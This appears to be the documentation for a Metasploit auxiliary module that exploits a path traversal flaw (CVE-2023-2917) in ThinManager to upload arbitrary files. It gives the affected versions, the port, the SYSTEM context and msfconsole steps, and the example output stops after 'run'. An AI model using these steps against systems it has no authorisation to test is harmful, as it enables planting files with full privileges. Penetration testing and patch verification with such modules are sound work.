ThinManager Path Traversal Upload (CVE-2023-2917) Module

[h4x-x0r]

This module exploits a path traversal vulnerability (CVE-2023-2917) in ThinManager <= v13.1.0 to upload arbitrary files to the target system. It is very similar to #20138, but exploits a different message type and works against slightly newer versions too.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.

Verification Steps

1. The software can be obtained from the vendor.
2. Start msfconsole
3. msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload2
4. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS <IP>
5. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE <local file location>
6. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE <remote file location>
7. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run

Example output:

msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
